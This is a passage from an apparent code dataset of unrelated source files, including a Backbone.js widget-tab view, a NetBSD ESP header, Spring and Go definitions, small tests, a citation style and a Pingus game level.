_.sortBy(collection.models, function(e) {\n\t\t\t\t\t\treturn order[e.cid] || Infinity;\n\t\t\t\t\t});\n\n\n\t\t\t\t\t// And then the views to match the new model order\n\t\t\t\t\tcollection.sortViews(true);\n\t\t\t\t}\n\t\t\t}, this);\n\n\t\t\tthis.model.serializeColumns(true);\n\n\n\t\t\tif (trigger) {\n\t\t\t\tthis.model.trigger(\"sort\", this.model, this.model.columns);\n\n\t\t\t\t// Since the render only inserts columns and widgets it's not expensive\n\t\t\t\t// This is called in requestAnimationFrame so there isn't a visible freeze\n\t\t\t\twindow.requestAnimationFrame(this.render.bind(this));\n\t\t\t}\n\n\t\t\treturn columns;\n\t\t},\n\n\n\t\t/**\n\t\t * Initializes sortable.\n\t\t *\n\t\t * By the time this is called the sortable group has already been initialized, this simply adds\n\t\t * the views columns\n\t\t *\n\t\t * @api private\n\t\t */\n\t\tsortable: function() {\n\t\t\tthis.$(\"> .remove, > .widgets-container.grid, > .widgets-container > .column\").sortable({\n\t\t\t\tgroup: \"columns\",\n\t\t\t\thandle: \".handle\",\n\t\t\t\titemSelector: \"section\",\n\t\t\t\tplaceholder: \"<section class=\\\"placeholder\\\"/>\"\n\t\t\t});\n\t\t},\n\n\n\t\t/**\n\t\t * Initializes widget resizing for grid-based tabs\n\t\t *\n\t\t * @api private\n\t\t */\n\t\tresizable: function() {\n\t\t\tvar body = $(document.body),\n\t\t\t\tserialize = this.serialize.bind(this);\n\n\t\t\tthis.$el.off(\"mousedown\").on(\"mousedown\", \".widget > .resize\", function(e) {\n\t\t\t\tvar startX = e.pageX,\n\t\t\t\t\tstartY = e.pageY,\n\t\t\t\t\twidget = this.parentNode,\n\t\t\t\t\tstartWidth = widget.offsetWidth,\n\t\t\t\t\tstartHeight = widget.offsetHeight,\n\n\t\t\t\t\tgrid = widget.parentNode,\n\t\t\t\t\ttc = body.children(\".tab-container\")[0],\n\t\t\t\t\ttcHeight = tc.offsetHeight,\n\t\t\t\t\tgridMax = tcHeight - 50,\n\t\t\t\t\th;\n\n\t\t\t\t_.each(grid.querySelectorAll(\".widget\"), function(e) {\n\t\t\t\t\th = e.offsetTop + e.offsetHeight;\n\n\t\t\t\t\tif (h >= gridMax) { gridMax = h; }\n\t\t\t\t});\n\n\t\t\t\tbody.addClass(\"resizing\").on(\"mousemove.widgetResize\", function(e) {\n\t\t\t\t\te.preventDefault();\n\n\t\t\t\t\t// -1 so it lines up with the insides of the grid squares\n\t\t\t\t\twidget.style.width = ((Math.round((startWidth + (e.pageX - startX)) / GRID_SIZE) * GRID_SIZE) - 1) + \"px\";\n\t\t\t\t\twidget.style.height = ((Math.round((startHeight + (e.pageY - startY)) / GRID_SIZE) * GRID_SIZE) - 1) + \"px\";\n\n\n\t\t\t\t\tvar max = widget.offsetTop + widget.offsetHeight;\n\n\t\t\t\t\tif (gridMax > max) {\n\t\t\t\t\t\tmax = gridMax;\n\t\t\t\t\t}\n\n\t\t\t\t\tgrid.style.height = (max + 50) + \"px\";\n\t\t\t\t}).on(\"mouseup.widgetResize\", function() {\n\t\t\t\t\tbody.removeClass(\"resizing\").off(\"mousemove.widgetResize mouseup.widgetResize\");\n\n\t\t\t\t\tserialize(true);\n\t\t\t\t});\n\t\t\t});\n\t\t},\n\n\n\t\t/**\n\t\t * Overrides Backbone's remove method\n\t\t *\n\t\t * @api private\n\t\t * @param {sortable} [sortable] Whether or not only sortable should be removed\n\t\t */\n\t\tremove: function(sortable) {\n\t\t\t// jQuery sortable doesn't have a method for removing containers from\n\t\t\t// groups without destroying the entire group or for accessing them directly.\n\t\t\t//\n\t\t\t// So, we have to get the rootGroup directly from an element's `data` which we\n\t\t\t// can then cleanup.\n\t\t\tvar elms = this.$(\"> .remove, > .widgets-container.grid, > .widgets-container > .column\"),\n\t\t\t\tdta = elms.first().data(\"sortable\");\n\n\t\t\tif (dta) {\n\t\t\t\tvar rootGroup = dta.rootGroup;\n\n\t\t\t\t_.remove(rootGroup.containers, function(e) {\n\t\t\t\t\treturn elms.filter(e.el).length >= 1;\n\t\t\t\t});\n\t\t\t}\n\n\n\t\t\tif (sortable !== true) {\n\t\t\t\tBackbone.View.prototype.remove.call(this);\n\t\t\t}\n\t\t},\n\n\n\t\t/**\n\t\t * Constructs a block ad element and appends it to the provided element\n\t\t *\n\t\t * @param {Boolean} active If the tab is currently active\n\t\t * @param {Element} el The element the ad should be appended to\n\t\t * @param {String} [placement] The id of the placement for this ad\n\t\t */\n\t\tinsertAd: function(active, el, placement) {\n\t\t\tif (Auth.adFree) {\n\t\t\t\treturn;\n\t\t\t}\n\n\t\t\tplacement = placement || this.model.get(\"adPlacement\") || \"widget_block\";\n\n\t\t\tvar leaderboard = placement === \"header_leaderboard\" || placement === \"footer_leaderboard\",\n\t\t\t\tadId = _.uniqueId(\"blockAd\"),\n\t\t\t\tad = document.createElement(leaderboard ? \"div\" : \"section\");\n\n\t\t\tad.setAttribute(\"class\", \"ad-unit\" + (leaderboard ? (placement === \"header_leaderboard\" ? \" top\" : \" bottom\") : \"\"));\n\n\t\t\tad.setAttribute(\"id\", adId);\n\n\t\t\tel.appendChild(ad);\n\n\n\t\t\t// We avoid inflating impressions by only displaying the ad once the tab is visible\n\t\t\t// This could be modified to preload the various scripts and only show the ad itself later, but that causes issues with certain ads\n\t\t\tvar displayAd = function() {\n\t\t\t\tvar rightNow = new Date().toISOString().slice(0,10).replace(/-/g,\"\");\n\t\t\t\tad.innerHTML = '<button type=\"button\" class=\"hide-ad\"></button>' +\n\t\t\t\t\t'<iframe src=\"https://ichro.me/adframe/' + placement + \"?refresh=\" + rightNow + '#' + adId + '\" style=\"' + (leaderboard ? \"width:728px;height:90px;\" : \"width:300px;height:250px;\") + '\" seamless></iframe>';\n\t\t\t};\n\n\t\t\tthis.once(\"render:complete\", function() {\n\t\t\t\tif (this._inserted && this.$el.hasClass(\"active\")) {\n\t\t\t\t\tdisplayAd();\n\t\t\t\t}\n\t\t\t\telse if (this._inserted) {\n\t\t\t\t\tthis.once(\"displayed\", displayAd);\n\t\t\t\t}\n\t\t\t\telse {\n\t\t\t\t\tthis.once(\"inserted\", function() {\n\t\t\t\t\t\tif (this.$el.hasClass(\"active\")) {\n\t\t\t\t\t\t\tdisplayAd();\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse {\n\t\t\t\t\t\t\tthis.once(\"displayed\", displayAd);\n\t\t\t\t\t\t}\n\t\t\t\t\t}, this);\n\t\t\t\t}\n\t\t\t}, this);\n\n\t\t\treturn true;\n\t\t},\n\n\n\t\trender: function(initial) {\n\t\t\t// Remove sortable\n\t\t\tif (initial !== true) {\n\t\t\t\tthis.remove(true);\n\n\t\t\t\t// If the sub-views are not detached before $.html() is called,\n\t\t\t\t// their data will be removed, destroying all event handlers.\n\t\t\t\tthis.$(\"> .widgets-container > .column > .widget, > .widgets-container.grid > .widget\").detach();\n\n\t\t\t\t// Call $.html() to remove any data or events related to $.sortable\n\t\t\t\tthis.$el.html(\"\");\n\t\t\t}\n\n\n\t\t\tvar isGrid = this.model.get(\"isGrid\");\n\n\t\t\t// Set the grid class\n\t\t\tthis.el.classList.toggle(\"grid\", isGrid);\n\n\t\t\t// We use native methods here for speed\n\t\t\tthis.el.innerHTML = '<div class=\"remove\">' + Translate(\"remove_widget\") + '</div>';\n\n\n\n\t\t\tvar adColumn = 0,\n\t\t\t\tadInserted = false,\n\t\t\t\tadPlacement = this.model.get(\"adPlacement\"),\n\t\t\t\tinsertAd = this.insertAd.bind(this, this.$el.hasClass(\"active\"));\n\n\t\t\t// If this is a grid-based or empty tab, and the user hasn't chosen to have a header leaderboard,\n\t\t\t// default to a footer one since block-based ones don't work\n\t\t\tif (!Auth.adFree && adPlacement !== \"header_leaderboard\" && (isGrid || !_.reduce(this.model.columns, function(e, v) { return e + v.length; }, 0))) {\n\t\t\t\tadPlacement = \"footer_leaderboard\";\n\t\t\t}\n\n\t\t\tif (adPlacement === \"header_leaderboard\" || adPlacement === \"footer_leaderboard\") {\n\t\t\t\tinsertAd(this.el, adPlacement);\n\n\t\t\t\tadInserted = true;\n\t\t\t}\n\n\t\t\tif (adPlacement === \"right_block\") {\n\t\t\t\tadColumn = this.model.columns.length - 1;\n\t\t\t}\n\n\n\t\t\tvar main = document.createElement(\"main\");\n\n\t\t\tmain.setAttribute(\"class\", \"widgets-container\" + (this.model.get(\"fixed\") && !isGrid ? \" fixed\" : \"\") + (isGrid ? \" grid\" : \"\"));\n\n\n\t\t\tvar models = _.map(this.model.columns, function(collection, columnIndex) {\n\t\t\t\tvar column = main;\n\n\t\t\t\tif (!isGrid) {\n\t\t\t\t\tcolumn = document.createElement(\"div\");\n\n\t\t\t\t\tcolumn.setAttribute(\"class\", \"column\");\n\n\t\t\t\t\tmain.appendChild(column);\n\t\t\t\t}\n\n\t\t\t\t_.each(collection.views, function(e, i) {\n\t\t\t\t\tif (adInserted || isGrid || columnIndex !== adColumn) {\n\t\t\t\t\t\treturn column.appendChild(e.el);\n\t\t\t\t\t}\n\n\n\t\t\t\t\tvar size = e.model.get(\"size\");\n\n\t\t\t\t\t// Insert the ad before the widget if\n\t\t\t\t\tif (\n\t\t\t\t\t\tsize !== \"tiny\" && i !== 0 // This isn't a tiny widget and the previous ones were (if they weren't the ad would already be in)\n\t\t\t\t\t) {\n\t\t\t\t\t\tadInserted = insertAd(column, adPlacement);\n\t\t\t\t\t}\n\n\t\t\t\t\tcolumn.appendChild(e.el);\n\n\t\t\t\t\t// Insert the ad after the widget if\n\t\t\t\t\tif (\n\t\t\t\t\t\t!adInserted &&\n\t\t\t\t\t\tsize !== \"tiny\" || // This isn't a tiny widget\n\t\t\t\t\t\tsize === \"tiny\" && i === 3 // This is the 4th tiny widget in a row\n\t\t\t\t\t) {\n\t\t\t\t\t\tadInserted = insertAd(column, adPlacement);\n\t\t\t\t\t}\n\t\t\t\t});\n\n\t\t\t\tif (columnIndex === adColumn && !isGrid && !adInserted) {\n\t\t\t\t\tadInserted = insertAd(column, adPlacement);\n\t\t\t\t}\n\n\t\t\t\treturn collection.models;\n\t\t\t});\n\n\n\t\t\tthis.el.appendChild(main);\n\n\n\t\t\tif (isGrid) {\n\t\t\t\tvar max = this.el.offsetHeight - 50;\n\n\t\t\t\t// This is the number of pixels the bottom of the furthest widget is from the top\n\t\t\t\tvar btm = _.max(_.map(_.flatten(models), function(e) {\n\t\t\t\t\tvar loc = e.get(\"loc\");\n\n\t\t\t\t\tif (loc) {\n\t\t\t\t\t\treturn (loc[0] + loc[3]) * GRID_SIZE;\n\t\t\t\t\t}\n\n\t\t\t\t\treturn 0;\n\t\t\t\t}));\n\n\t\t\t\tif (btm > max) {\n\t\t\t\t\tmax = btm;\n\t\t\t\t}\n\n\t\t\t\t// The -50 and +50 makes sure that the container is either 50px from the bottom of\n\t\t\t\t// the last widget or at the bottom of the tab but never past it if it isn't necessary\n\t\t\t\tmain.style.height = (max + 50) + \"px\";\n\n\t\t\t\tthis.resizable();\n\t\t\t}\n\n\n\t\t\tthis.sortable();\n\n\t\t\tthis.trigger(\"render:complete\");\n\n\t\t\treturn this;\n\t\t}\n\t});\n\n\n\treturn view;\n});"} {"text": "/*\t$NetBSD: esp.h,v 1.13 2000/09/26 08:37:38 itojun Exp $\t*/\n/*\t$KAME: esp.h,v 1.15 2000/09/20 18:15:22 itojun Exp $\t*/\n\n/*\n * Copyright (C) 1995, 1996, 1997, and 1998 WIDE Project.\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n * 1. Redistributions of source code must retain the above copyright\n * notice, this list of conditions and the following disclaimer.\n * 2. Redistributions in binary form must reproduce the above copyright\n * notice, this list of conditions and the following disclaimer in the\n * documentation and/or other materials provided with the distribution.\n * 3. Neither the name of the project nor the names of its contributors\n * may be used to endorse or promote products derived from this software\n * without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE PROJECT AND CONTRIBUTORS ``AS IS'' AND\n * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n * ARE DISCLAIMED. IN NO EVENT SHALL THE PROJECT OR CONTRIBUTORS BE LIABLE\n * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL\n * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS\n * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)\n * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT\n * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY\n * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF\n * SUCH DAMAGE.\n */\n\n/*\n * RFC1827/2406 Encapsulated Security Payload.\n */\n\n#ifndef _NETINET6_ESP_H_\n#define _NETINET6_ESP_H_\n\nstruct esp {\n\tu_int32_t\tesp_spi;\t/* ESP */\n\t/*variable size, 32bit bound*/\t/* Initialization Vector */\n\t/*variable size*/\t\t/* Payload data */\n\t/*variable size*/\t\t/* padding */\n\t/*8bit*/\t\t\t/* pad size */\n\t/*8bit*/\t\t\t/* next header */\n\t/*8bit*/\t\t\t/* next header */\n\t/*variable size, 32bit bound*/\t/* Authentication data (new IPsec) */\n};\n\nstruct newesp {\n\tu_int32_t\tesp_spi;\t/* ESP */\n\tu_int32_t\tesp_seq;\t/* Sequence number */\n\t/*variable size*/\t\t/* (IV and) Payload data */\n\t/*variable size*/\t\t/* padding */\n\t/*8bit*/\t\t\t/* pad size */\n\t/*8bit*/\t\t\t/* next header */\n\t/*8bit*/\t\t\t/* next header */\n\t/*variable size, 32bit bound*/\t/* Authentication data */\n};\n\nstruct esptail {\n\tu_int8_t\tesp_padlen;\t/* pad length */\n\tu_int8_t\tesp_nxt;\t/* Next header */\n\t/*variable size, 32bit bound*/\t/* Authentication data (new IPsec)*/\n};\n\n#endif /*_NETINET6_ESP_H_*/\n"} {"text": "/*\n * Copyright 2002-2018 the original author or authors.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * https://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage org.springframework.messaging.simp.annotation;\n\nimport java.lang.annotation.Documented;\nimport java.lang.annotation.ElementType;\nimport java.lang.annotation.Retention;\nimport java.lang.annotation.RetentionPolicy;\nimport java.lang.annotation.Target;\n\nimport org.springframework.core.annotation.AliasFor;\n\n/**\n * Indicates the return value of a message-handling method should be sent as a\n * {@link org.springframework.messaging.Message} to the specified destination(s)\n * further prepended with <code>\"/user/{username}\"</code> where the user name\n * is extracted from the headers of the input message being handled.\n *\n * <p>Both {@code @SendTo} and {@code @SendToUser} may be used on the same method\n * in which case a message is sent to the destinations of both annotations.\n *\n * <p>This annotation may be placed class-level in which case it is inherited\n * by methods of the class. At the same time, method-level {@code @SendTo} or\n * {@code @SendToUser} annotations override any such at the class level.\n\n * @author Rossen Stoyanchev\n * @author Sam Brannen\n * @since 4.0\n * @see org.springframework.messaging.simp.annotation.support.SendToMethodReturnValueHandler\n * @see org.springframework.messaging.simp.user.UserDestinationMessageHandler\n * @see org.springframework.messaging.simp.SimpMessageHeaderAccessor#getUser()\n */\n@Target({ElementType.METHOD, ElementType.TYPE})\n@Retention(RetentionPolicy.RUNTIME)\n@Documented\npublic @interface SendToUser {\n\n\t/**\n\t * Alias for {@link #destinations}.\n\t * @see #destinations\n\t */\n\t@AliasFor(\"destinations\")\n\tString[] value() default {};\n\n\t/**\n\t * One or more destinations to send a message to.\n\t * <p>If left unspecified, a default destination is selected based on the\n\t * destination of the input message being handled.\n\t * @since 4.2\n\t * @see #value\n\t * @see org.springframework.messaging.simp.annotation.support.SendToMethodReturnValueHandler\n\t */\n\t@AliasFor(\"value\")\n\tString[] destinations() default {};\n\n\t/**\n\t * Whether messages should be sent to all sessions associated with the user\n\t * or only to the session of the input message being handled.\n\t * <p>By default, this is set to {@code true} in which case messages are\n\t * broadcast to all sessions.\n\t */\n\tboolean broadcast() default true;\n\n}\n"} {"text": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n <meta charset=\"UTF-8\">\n <title>Title</title>\n</head>\n<body>\n {{fo<caret>}}\n</body>\n</html>"} {"text": "namespace Volo.CmsKit.Public\n{\n public class CmsKitPublicRemoteServiceConsts\n {\n public const string RemoteServiceName = \"CmsKitPublic\";\n }\n}\n"} {"text": "#!/bin/sh\n\n. ../testfuncs.sh\n\nbn=`basename $0 .sh`\n\necho \"Test: $bn\"\nrun_program pocketsphinx_batch \\\n -hmm $model/hmm/en_US/hub4wsj_sc_8k \\\n -lm $model/lm/en_US/wsj0vp.5000.DMP \\\n -dict $model/lm/en_US/cmu07a.dic \\\n -ctl $data/wsj/test5k.s1.ctl \\\n -cepdir $data/wsj \\\n -cepext .mfc \\\n -hyp $bn.match \\\n -backtrace yes \\\n -pl_window 2 \\\n > $bn.log 2>&1\n\n# Test whether it actually completed\nif [ $? = 0 ]; then\n pass \"run\"\nelse\n fail \"run\"\nfi\n\n# Check the decoding results\ngrep AVERAGE $bn.log\n$tests/word_align.pl -i $data/wsj/test5k.s1.lsn $bn.match | grep 'TOTAL Percent'\ncompare_table \"match\" $data/wsj/$bn.match $bn.match 1000000\n"} {"text": "package org.papervision3d.lights\n{\n\timport org.papervision3d.core.math.Number3D;\n\timport org.papervision3d.core.proto.LightObject3D;\n\t\n\tpublic class PointLight3D extends LightObject3D\n\t{\n\t\tpublic static var DEFAULT_POS:Number3D = new Number3D( 0, 0, -1000 );\n\t\t\n\t\t/**\n\t\t * Constructor.\n\t\t * \n\t\t * @param\tshowLight\tA Boolean value indicating whether the light is visible.\n\t\t * @param\tflipped\t\tA Boolean value indicating whether to flip the light-direction (needed for correct DAE-shading).\n\t\t */\n\t\tpublic function PointLight3D(showLight:Boolean = false, flipped:Boolean = false)\n\t\t{\n\t\t\tsuper(showLight, flipped);\n\t\t\tx = DEFAULT_POS.x;\n\t\t\ty = DEFAULT_POS.y;\n\t\t\tz = DEFAULT_POS.z;\n\t\t}\n\t\n\t}\n}"} {"text": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<style xmlns=\"http://purl.org/net/xbiblio/csl\" version=\"1.0\" default-locale=\"en-US\">\n <!-- Generated with https://github.com/citation-style-language/utilities/tree/master/generate_dependent_styles/data/ieee -->\n <info>\n <title>IEEE Reviews in Biomedical Engineering</title>\n <id>http://www.zotero.org/styles/ieee-reviews-in-biomedical-engineering</id>\n <link href=\"http://www.zotero.org/styles/ieee-reviews-in-biomedical-engineering\" rel=\"self\"/>\n <link href=\"http://www.zotero.org/styles/ieee\" rel=\"independent-parent\"/>\n <link href=\"http://ieeexplore.ieee.org/servlet/opac?punumber=4664312\" rel=\"documentation\"/>\n <category citation-format=\"numeric\"/>\n <category field=\"engineering\"/>\n <category field=\"communications\"/>\n <issn>1937-3333</issn>\n <updated>2014-05-14T12:00:00+00:00</updated>\n <rights license=\"http://creativecommons.org/licenses/by-sa/3.0/\">This work is licensed under a Creative Commons Attribution-ShareAlike 3.0 License</rights>\n </info>\n</style>\n"} {"text": "require('./proof')(1, prove)\n\nfunction prove (async, okay) {\n var strata\n async(function () {\n serialize(__dirname + '/fixtures/tree.before.json', tmp, async())\n }, function () {\n strata = createStrata({ directory: tmp, leafSize: 3, branchSize: 3 })\n strata.open(async())\n }, function () {\n strata.iterator('h', async())\n }, function (cursor) {\n strata.mutator('h', async())\n cursor.unlock(async())\n }, function (cursor) {\n okay(cursor.page.items[cursor.offset].record, 'h', 'got')\n cursor.unlock(async())\n }, function() {\n strata.close(async())\n })\n}\n"} {"text": "// Created by cgo -godefs - DO NOT EDIT\n// cgo -godefs defs_openbsd.go\n\npackage socket\n\nconst (\n\tsysAF_UNSPEC = 0x0\n\tsysAF_INET = 0x2\n\tsysAF_INET6 = 0x18\n\n\tsysSOCK_RAW = 0x3\n)\n\ntype iovec struct {\n\tBase *byte\n\tLen uint32\n}\n\ntype msghdr struct {\n\tName *byte\n\tNamelen uint32\n\tIov *iovec\n\tIovlen uint32\n\tControl *byte\n\tControllen uint32\n\tFlags int32\n}\n\ntype cmsghdr struct {\n\tLen uint32\n\tLevel int32\n\tType int32\n}\n\ntype sockaddrInet struct {\n\tLen uint8\n\tFamily uint8\n\tPort uint16\n\tAddr [4]byte /* in_addr */\n\tZero [8]int8\n}\n\ntype sockaddrInet6 struct {\n\tLen uint8\n\tFamily uint8\n\tPort uint16\n\tFlowinfo uint32\n\tAddr [16]byte /* in6_addr */\n\tScope_id uint32\n}\n\nconst (\n\tsizeofIovec = 0x8\n\tsizeofMsghdr = 0x1c\n\tsizeofCmsghdr = 0xc\n\n\tsizeofSockaddrInet = 0x10\n\tsizeofSockaddrInet6 = 0x1c\n)\n"} {"text": ";; generated by xml2sexpr.rb\n(pingus-level \n (version 2)\n (head \n (levelname \"Pingus do time\")\n (description )\n (author \"Craig Timpany <timpany@pingus.cx>\")\n (number-of-pingus 100)\n (number-to-save 50)\n (time -1)\n (difficulty 5)\n (playable 1)\n (comment )\n (actions \n (blocker 20)\n (bomber 20)\n (bridger 20)\n (digger 20)\n (floater 20))\n (music \"none\")\n (levelsize 800 600))\n (objects \n (surface-background \n (surface \n (image \"textures/anim_fire\")\n (modifier \"ROT0\"))\n (color 0 0 0 0)\n (scroll-x 0.0)\n (scroll-y 0.0)\n (para-x 0.5)\n (para-y 0.5)\n (stretch-x #f)\n (stretch-y #f)\n (position 0 0 -150))\n (entrance \n (position 392 106 0)\n (type \"generic\")\n (direction \"left\")\n (release-rate 25)\n (owner-id 0))\n (groundpiece \n (type \"solid\")\n (surface \n (image \"groundpieces/solid/misc/metalplate_horiz\")\n (modifier \"ROT0\"))\n (position 495 204 40))\n (groundpiece \n (type \"solid\")\n (surface \n (image \"groundpieces/solid/misc/metalplate_horiz\")\n (modifier \"ROT0\"))\n (position 348 600 40))\n (groundpiece \n (type \"solid\")\n (surface \n (image \"groundpieces/solid/misc/metalplate_horiz\")\n (modifier \"ROT0\"))\n (position 305 204 40))\n (groundpiece \n (type \"solid\")\n (surface \n (image \"groundpieces/solid/misc/metalplate_horiz\")\n (modifier \"ROT0\"))\n (position 431 204 40))\n (groundpiece \n (type \"solid\")\n (surface \n (image \"groundpieces/solid/misc/metalplate_horiz\")\n (modifier \"ROT0\"))\n (position 284 600 40))\n (groundpiece \n (type \"solid\")\n (surface \n (image \"groundpieces/solid/misc/metalplate_horiz\")\n (modifier \"ROT0\"))\n (position 241 204 40))\n (groundpiece \n (type \"solid\")\n (surface \n (image \"groundpieces/solid/misc/metalplate_horiz\")\n (modifier \"ROT0\"))\n (position 559 108 40))\n (groundpiece \n (type \"solid\")\n (surface \n (image \"groundpieces/solid/misc/metalplate_horiz\")\n (modifier \"ROT0\"))\n (position 559 12 40))\n (groundpiece \n (type \"solid\")\n (surface \n (image \"groundpieces/solid/misc/metalplate_horiz\")\n (modifier \"ROT0\"))\n (position 176 12 40))\n (groundpiece \n (type \"solid\")\n (surface \n (image \"groundpieces/solid/misc/metalplate_horiz\")\n (modifier \"ROT0\"))\n (position 176 108 40))\n (groundpiece \n (type \"solid\")\n (surface \n (image \"groundpieces/solid/misc/metalplate_large\")\n (modifier \"ROT0\"))\n (position 559 44 40))\n (groundpiece \n (type \"solid\")\n (surface \n (image \"groundpieces/solid/misc/metalplate_large\")\n (modifier \"ROT0\"))\n (position 559 -52 40))\n (groundpiece \n (type \"solid\")\n (surface \n (image \"groundpieces/solid/misc/metalplate_large\")\n (modifier \"ROT0\"))\n (position 347 536 40))\n (groundpiece \n (type \"solid\")\n (surface \n (image \"groundpieces/solid/misc/metalplate_large\")\n (modifier \"ROT0\"))\n (position 284 536 40))\n (groundpiece \n (type \"solid\")\n (surface \n (image \"groundpieces/solid/misc/metalplate_large\")\n (modifier \"ROT0\"))\n (position 176 -52 40))\n (groundpiece \n (type \"solid\")\n (surface \n (image \"groundpieces/solid/misc/metalplate_large\")\n (modifier \"ROT0\"))\n (position 176 44 40))\n (groundpiece \n (type \"solid\")\n (surface \n (image \"groundpieces/solid/misc/metalplate_large\")\n (modifier \"ROT0\"))\n (position 559 140 40))\n (groundpiece \n (type \"solid\")\n (surface \n (image \"groundpieces/solid/misc/metalplate_large\")\n (modifier \"ROT0\"))\n (position 176 140 40))\n (groundpiece \n (type \"solid\")\n (surface \n (image \"groundpieces/solid/misc/metalplate_small\")\n (modifier \"ROT0\"))\n (position 559 204 40))\n (groundpiece \n (type \"solid\")\n (surface \n (image \"groundpieces/solid/misc/metalplate_small\")\n (modifier \"ROT0\"))\n (position 209 204 40))\n (groundpiece \n (type \"ground\")\n (surface \n (image \"groundpieces/ground/misc/stoneblock1\")\n (modifier \"ROT0\"))\n (position 16 331 40))\n (groundpiece \n (type \"ground\")\n (surface \n (image \"groundpieces/ground/misc/stoneblock1\")\n (modifier \"ROT0\"))\n (position 655 587 40))\n (groundpiece \n (type \"ground\")\n (surface \n (image \"groundpieces/ground/misc/stoneblock1\")\n (modifier \"ROT0\"))\n (position 717 332 40))\n (groundpiece \n (type \"ground\")\n (surface \n (image \"groundpieces/ground/misc/stoneblock1\")\n (modifier \"ROT0\"))\n (position 717 459 40))\n (groundpiece \n (type \"ground\")\n (surface \n (image \"groundpieces/ground/misc/stoneblock1\")\n (modifier \"ROT0\"))\n (position -48 395 40))\n (groundpiece \n (type \"ground\")\n (surface \n (image \"groundpieces/ground/misc/stoneblock1\")\n (modifier \"ROT0\"))\n (position 654 78 40))\n (groundpiece \n (type \"ground\")\n (surface \n (image \"groundpieces/ground/misc/stoneblock1\")\n (modifier \"ROT0\"))\n (position -47 206 40))\n (groundpiece \n (type \"ground\")\n (surface \n (image \"groundpieces/ground/misc/stoneblock1\")\n (modifier \"ROT0\"))\n (position 16 79 40))\n (groundpiece \n (type \"ground\")\n (surface \n (image \"groundpieces/ground/misc/stoneblock1\")\n (modifier \"ROT0\"))\n (position 144 204 40))\n (groundpiece \n (type \"ground\")\n (surface \n (image \"groundpieces/ground/misc/stoneblock1\")\n (modifier \"ROT0\"))\n (position 718 15 40))\n (groundpiece \n (type \"ground\")\n (surface \n (image \"groundpieces/ground/misc/stoneblock1\")\n (modifier \"ROT0\"))\n (position 655 204 40))\n (groundpiece \n (type \"ground\")\n (surface \n (image \"groundpieces/ground/misc/stoneblock1\")\n (modifier \"ROT0\"))\n (position 144 332 40))\n (groundpiece \n (type \"ground\")\n (surface \n (image \"groundpieces/ground/misc/stoneblock1\")\n (modifier \"ROT0\"))\n (position 80 396 40))\n (groundpiece \n (type \"ground\")\n (surface \n (image \"groundpieces/ground/misc/stoneblock1\")\n (modifier \"ROT0\"))\n (position 80 268 40))\n (groundpiece \n (type \"ground\")\n (surface \n (image \"groundpieces/ground/misc/stoneblock1\")\n (modifier \"ROT0\"))\n (position 591 395 40))\n (groundpiece \n (type \"ground\")\n (surface \n (image \"groundpieces/ground/misc/stoneblock1\")\n (modifier \"ROT0\"))\n (position 591 523 40))\n (groundpiece \n (type \"ground\")\n (surface \n (image \"groundpieces/ground/misc/stoneblock1\")\n (modifier \"ROT0\"))\n (position 591 268 40))\n (groundpiece \n (type \"ground\")\n (surface \n (image \"groundpieces/ground/misc/stoneblock1\")\n (modifier \"ROT0\"))\n (position 367 204 40))\n (groundpiece \n (type \"ground\")\n (surface \n (image \"groundpieces/ground/misc/stoneblock2\")\n (modifier \"ROT0\"))\n (position 16 395 40))\n (groundpiece \n (type \"ground\")\n (surface \n (image \"groundpieces/ground/misc/stoneblock2\")\n (modifier \"ROT0\"))\n (position 655 395 40))\n (groundpiece \n (type \"ground\")\n (surface \n (image \"groundpieces/ground/misc/stoneblock2\")\n (modifier \"ROT0\"))\n (position -48 331 40))\n (groundpiece \n (type \"ground\")\n (surface \n (image \"groundpieces/ground/misc/stoneblock2\")\n (modifier \"ROT0\"))\n (position 144 268 40))\n (groundpiece \n (type \"ground\")\n (surface \n (image \"groundpieces/ground/misc/stoneblock2\")\n (modifier \"ROT0\"))\n (position 655 523 40))\n (groundpiece \n (type \"ground\")\n (surface \n (image \"groundpieces/ground/misc/stoneblock2\")\n (modifier \"ROT0\"))\n (position 655 268 40))\n (groundpiece \n (type \"ground\")\n (surface \n (image \"groundpieces/ground/misc/stoneblock2\")\n (modifier \"ROT0\"))\n (position 80 79 40))\n (groundpiece \n (type \"ground\")\n (surface \n (image \"groundpieces/ground/misc/stoneblock2\")\n (modifier \"ROT0\"))\n (position -47 142 40))\n (groundpiece \n (type \"ground\")\n (surface \n (image \"groundpieces/ground/misc/stoneblock2\")\n (modifier \"ROT0\"))\n (position 80 332 40))\n (groundpiece \n (type \"ground\")\n (surface \n (image \"groundpieces/ground/misc/stoneblock2\")\n (modifier \"ROT0\"))\n (position 80 204 40))\n (groundpiece \n (type \"ground\")\n (surface \n (image \"groundpieces/ground/misc/stoneblock2\")\n (modifier \"ROT0\"))\n (position 591 587 40))\n (groundpiece \n (type \"ground\")\n (surface \n (image \"groundpieces/ground/misc/stoneblock2\")\n (modifier \"ROT0\"))\n (position 591 332 40))\n (groundpiece \n (type \"ground\")\n (surface \n (image \"groundpieces/ground/misc/stoneblock2\")\n (modifier \"ROT0\"))\n (position 